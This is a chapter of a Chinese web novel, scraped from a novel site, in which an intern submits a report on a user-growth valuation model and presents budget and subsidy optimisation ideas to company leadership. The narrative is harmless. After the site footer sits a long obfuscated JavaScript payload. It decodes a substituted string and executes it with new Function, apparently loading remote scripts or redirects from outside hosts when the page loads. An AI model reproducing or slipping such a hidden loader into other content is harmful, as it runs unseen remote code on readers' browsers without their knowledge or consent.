第178章 呈交模型与优化方案
第178章呈交模型与优化方案(第1/2页)
答辩结束后次日,古民收到了王磊的消息,让他准备一份关于UVAR模型及其分析的简要书面报告,发送给王磊和李明总监。消息语气平静,没有额外指示。古民明白,答辩场上的冲击需要转化为更具体、可评估的文档。模型和分析的“演示”已经完成,现在是“呈文”阶段,需要更严谨的结构、更清晰的建议,以及更审慎的措辞。
他用了两天时间,整理、精炼、封装。最终的报告文件包分为几个部分:
一、核心问题陈述(不超过一页)
开宗明义,不渲染,不煽情。直指当前用户增长评估体系的核心局限:过度依赖短期、浅层转化指标(如点击率、注册成本、次日留存),缺乏对用户长期价值与健康度的有效度量和牵引。这可能导致两个系统性风险:1.资源错配,预算大量消耗于无法带来长期价值的渠道或动作;2.增长质量稀释,用户规模膨胀与用户资产质量提升不同步,长期增长根基不牢。引用“暑期拉新冲刺”项目中的初步数据作为例证,但注明此为示例,非全局结论。
二、UVAR模型框架与方**
详细阐述模型构建逻辑:
1.目标:量化用户增长动作的“真实效率”,识别并度量“无效动作”规模。
2.核心定义:明确“价值用户”(基于长期行为序列的多维度综合评估)与“无效动作”(消耗资源但未能产生符合“价值用户”标准的动作)。
3.关键指标:
真实转化率=价值用户数/动作曝光(或花费)。
有效成本=动作总花费/价值用户数。
增长质量指数=(周期内新增价值用户总预测长期价值)/(周期内用户增长总花费)。
4.数据基础与处理:说明所使用的数据源、关联逻辑、匿名化处理方法,以及模型的可复现性。
5.模型验证:展示模型对用户后续行为的预测准确性(回溯测试结果),以及价值评分与用户未来实际留存、付费等指标的相关性分析。承认模型的局限性(如价值定义的主观成分、长期预测的不确定性),但强调其相对于当前单一指标的系统性进步。
三、针对“暑期拉新冲刺”项目的诊断分析(摘要)
以高度概括和脱敏的方式,呈现关键发现:
1.从“广告曝光”到“30天价值用户”的真实转化漏斗效率,显著低于前端注册转化率。
2.不同获客渠道的“有效用户获取成本”差异巨大,部分渠道存在严重的“价值折损”。
3.基于模型的模拟优化显示,调整预算分配(从高有效成本渠道转向低有效成本渠道),可在同等花费下显著提升价值用户获取数量(给出区间预估)。
4.当前部分补贴策略存在“价值空心化”风险,吸引大量仅对补贴敏感、无持续价值的用户,且边际效用递减明显。
四、初步优化方案与建议
这是报告的行动导向部分,分为短期可操作建议和长期体系建议。
短期可操作建议(未来1-2个季度):
1.渠道评估优化试点:选择1-2个核心广告渠道,在现有“注册成本”KPI基础上,增加“7日/30日价值用户转化成本”作为辅助评估指标,并与渠道合作伙伴进行透明沟通,调整优化方向。
2.补贴策略精细化:设计实验,对比不同额度、不同门槛、不同目标人群的补贴效果,不仅关注拉新量,更严格追踪补贴用户的后续留存、复购及非补贴订单比例,识别真正有效的补贴方式,减少“补贴依赖型”用户获取。
3.建立“增长健康度”监控看板:在现有数据看板中,增加“增长质量指数”、“有效成本分布”等模型衍生指标的监控,定期(如双周)向核心团队汇报,提升对增长质量的集体认知。
长期体系建议:
1.考核指标演进:逐步推动将“有效用户获取成本”、“用户长期价值贡献”等指标,纳入团队与个人的核心考核体系,与预算分配、绩效评定更紧密挂钩。建议设立过渡期和混合指标。
2.预算分配机制优化:探索基于“预期价值用户获取效率”的动态预算分配模型,优先支持能带来高质量用户的渠道和策略,即使其短期注册成本可能略高。
3.建立“增长实验室”机制:划拨小部分预算(如5-10%)用于探索创新性、可能带来高价值用户的增长策略,容忍较高的短期失败率,但严格评估长期价值。
五、风险与实施考虑
1.组织惯性:改变现有评估体系和预算分配逻辑涉及多方利益,可能遇到阻力。需要高层推动和跨部门共识。
2.数据与系统支持:实时计算“价值用户”和“有效成本”需要数据管道和系统支持,涉及技术资源投入。
3.外部合作方适应:调整渠道评估标准,需与广告代理、媒体平台重新磨合,可能影响短期流量供给。
4.试点先行:建议从非核心或新增预算开始试点,验证效果、优化模型、积累成功案例后再逐步推广。
六、附录与数据访问说明
包含模型核心代码逻辑(脱敏)、关键数据查询脚本、分析所用数据集的说明(确保合规),以及一份更详细的、仅限核心管理层查阅的、包含部分敏感数据的深度分析摘要(加密附件)。古民在报告中明确,所有分析基于公司内部合规数据,不涉及用户隐私泄露,模型与脚本可供授权同事复现验证。
报告以冷静、客观的学术论文式风格写成,避免情绪化词汇,强调“问题-分析-方案”的逻辑链。他将这份数十页的报告(含附录)打包,加密,通过公司内部系统分别发送给了王磊和李明总监,并在邮件正文中简短写道:“王老师/李总,这是关于用户增长质量评估模型及相关分析建议的完整报告。模型和分析基于实习期间所见数据与思考,纯属个人工作产出,仅供内部参考。如有任何疑问或需进一步澄清,我随时可做说明。——古民”
发送后,古民不再主动提及此事,继续完成手头的常规工作,仿佛什么也没发生。他知道,这份报告像一块投入平静湖面的石头,涟漪的扩散需要时间,也可能被深水吞没。
两天后的下午,王磊将古民叫到一间小会议室。“报告李总和我都看了。”王磊开门见山,表情比平时更严肃些,“很扎实,逻辑清晰,建议也有操作性。但你知道,这意味着什么吗?”
古民点头:“意味着需要对现有的工作方式和部分合作模式进行调整,可能会触动一些既有的流程和…利益。”
(本章未完,请点击下一页继续阅读)第178章呈交模型与优化方案(第2/2页)
“不止。”王磊摇头,“你的报告,虽然措辞谨慎,但实质上是指出,我们部门——可能不止我们部门——过去一段时间奉为圭臬的增长策略和评估体系,存在系统性的低效,甚至浪费。这挑战了很多人的工作成果,包括一些漂亮的增长曲线和成功项目案例。李总压力不小,这份报告他可能需要给更上面的人看,甚至可能在其他部门间传阅。”
“我理解。”古民说,“报告是基于数据和公开可验证的逻辑。我个人对任何团队或个人没有预设意见,只是呈现分析结果。”
“我知道你的立场。”王磊语气缓和了一些,“这也是李总欣赏的地方。你只摆事实,讲逻辑,不下武断结论,把优化建议作为解决方案提出,而不是单纯批判。这很聪明,也很有建设性。但即便如此,依然会有人觉得被冒犯,或认为你一个实习生,手伸得太长。”
“我接受所有基于报告内容本身的讨论和质疑。”古民回答。
王磊看了他一会儿,忽然说:“李总想让你以实习生的身份,在下周的增长部核心骨干周会上,用十五分钟时间,简要介绍一下你的模型核心思想和那个优化模拟。不需要像答辩那样演示,就讲清楚问题、方法、和那个预算重新分配能带来的潜在提升空间。参会的有各业务线负责人,还有合作紧密的产品、技术、商业化部门的接口人。”
这是一个更正式、也更敏感的场合。古民略一思索,问:“需要我重点强调什么,或者避免触及什么吗?”
“不用刻意强调或避免。就按你报告里的讲,清晰,简洁,聚焦在方**和可能性上。重点是引发思考,而不是做出判决。回答问题时要严谨,但不要陷入具体渠道或具体项目的争论。记住,你是提供一个新的分析视角和工具,不是来当审计或判官。”王磊叮嘱道,“这既是机会,也是考验。表现得体,你的实习评价和未来机会会完全不同。如果搞砸了…”他没说下去,但意思明确。
“明白。我会准备。”古民点头。
接下来的一周,古民精心准备了十五分钟的发言,反复演练,确保能在短时间内将复杂问题讲得清晰易懂,重点突出“我们如何能做得更好”,而非“我们现在哪里错了”。他准备了可能遇到的挑战性问题,并思考如何基于数据和逻辑回应。
核心骨干周会如期举行。会议室里坐了二十多人,气氛比实习生答辩正式许多。李明总监主持会议,简短开场后,介绍了古民和要分享的主题。
古民走上台,依旧没有用花哨的PPT,只用一页简单的提纲。他语速平稳,从当前互联网行业用户增长从“量”到“质”转变的大背景谈起,快速切入核心问题:如何更准确地度量增长质量?然后简要介绍了UVAR模型的核心理念——追踪长期行为,定义价值用户,计算有效成本。他用一个高度简化的示意图说明了传统漏斗与“真实价值漏斗”的差异,用虚拟数据展示了不同渠道“有效成本”的巨大差异(隐去真实渠道名称),最后用模拟优化结果,说明预算重新分配可能带来的效率提升空间。
他全程避免使用“刷数据”、“浪费”、“低效”等刺激性字眼,代之以“评估视角差异”、“效率优化机会”、“长期价值对齐”等中性表述。他将模型定位为一种“补充性评估工具”和“决策支持系统”,而非替代现有KPI。
十五分钟很快结束。进入问答环节。
渠道运营负责人率先提问,问题尖锐:“你的模型依赖对‘价值用户’的定义,这个定义本身是否过于理想化?现实中,很多用户就是慢慢培养起来的,一开始可能行为不深。用30天的行为一刀切,会不会误杀有潜力的用户?另外,你提到的渠道效率差异,是否考虑了不同渠道的目标人群差异?有些渠道本来就是做品牌曝光,不能只看直接转化。”
古民早有准备:“谢谢提问。关于价值定义,模型支持灵活的观察期和阈值调整。30天和现有行为组合只是一个示例参数,可以根据业务实际调整。模型的价值在于提供一个框架,将‘长期价值’这个模糊概念,转化为可量化、可调整的指标。关于渠道差异,模型在分析时,可以控制基础的人群属性,也可以为不同类型的渠道设定不同的价值观察预期。品牌曝光渠道可以评估其带来的品牌搜索量、认知度提升等间接指标,模型可以扩展纳入。核心是,我们需要为每一种渠道找到最合适的评估其真实贡献的方式,而不是用单一的成本或点击量一概而论。”
一位产品经理问:“模型能否用于评估产品功能迭代对用户长期价值的影响?比如,一个新功能上线,如何判断它吸引的是羊毛·党还是高价值用户?”
“完全可以。”古民肯定道,“这正是模型的另一应用场景。通过A/B测试,对比实验组和对照组在‘价值用户’转化率、用户后续行为深度等指标上的差异,可以更精准地评估产品功能对用户长期价值的真实影响,避免被短期数据波动误导。”
一位数据分析专家提了一个技术性问题,关于模型的数据处理延迟和实时性。古民详细解释了目前基于批量处理的分析模式,以及未来向实时或近实时计算演进的可能性与挑战,思路清晰。
问答持续了二十分钟,问题涵盖方法、数据、实施方方面面。古民回答始终围绕数据和模型逻辑,不涉及具体人事,不猜测动机,不越界评价。遇到暂时无法回答的(如涉及其他部门数据或具体技术实现细节),他坦诚说明,并承诺后续可以探讨。
会议结束时,李明总监做了简短总结:“古民同学分享的角度很有启发性。用户增长的质量和健康度,确实是公司发展到现阶段必须更加重视的课题。这个模型和分析,为我们提供了一个新的思考工具和量化起点。后续,数据分析组会和业务团队一起,深入研究其中的可行性,看看如何借鉴、优化,并应用到我们的实际工作中。感谢古民的扎实工作。”
散会后,几位同事私下向古民表达了兴趣,询问更多技术细节。王磊走过来,拍了拍他肩膀,低声说:“讲得不错,有分寸。李总应该心里有数了。”
古民知道,报告和这次会议演示,已经完成了它们的使命:将问题正式、结构化地呈现在决策者面前,并提供了一套看似可行的优化思路。这颗石头的涟漪,已经开始扩散。至于最终会在湖面激起多大的浪花,又会如何改变湖水的流向,那将取决于更多他无法控制的因素。但他已经做了他所能做的一切:用数据和逻辑,将一个被忽视的问题,清晰、冷静、无可回避地摆上了台面。剩下的,是组织如何回应。而他,一个实习生,在等待最终回响的同时,也需要为自己的下一步做打算了。实习即将结束,转正与否,以及可能的去向,都将在不久后揭晓。
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();